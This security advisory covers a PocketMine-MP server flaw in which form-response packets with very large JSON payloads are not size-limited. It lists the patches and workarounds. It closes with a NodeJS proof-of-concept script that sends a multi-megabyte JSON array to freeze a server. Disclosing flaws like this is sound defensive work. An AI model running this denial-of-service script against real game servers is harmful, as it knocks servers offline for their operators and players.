PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Summary

### Impact The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements. The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game. ### Patches The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID ### Workarounds This issue can be worked around in a plugin using `DataPacketReceiveEvent` by: - checking the max size of the `formData` field - making sure the form ID is not repeated However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2. ### PoC 1. Join a PocketMine-MP server as a regular player (no special permissions needed). 2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with: * Any non-existent `formId` * `formData` containing a massive JSON array (e.g., 10+ MB payload). 3. The server will attempt to parse the JSON and may freeze or become unresponsive. Example NodeJS pseudocode: ```javascript import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'Test'; const client = createClient({ host, port, username, offline: true }); const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]'; client.on('spawn', () => { console.log('[*] Connected & spawned. Sending malicious packet...'); client.write('modal_form_response', { formId: 9999, // Form inexistant formData: hugePayload // JSON énorme }); console.log('[*] Packet sent. The server should start freezing shortly.'); }); ```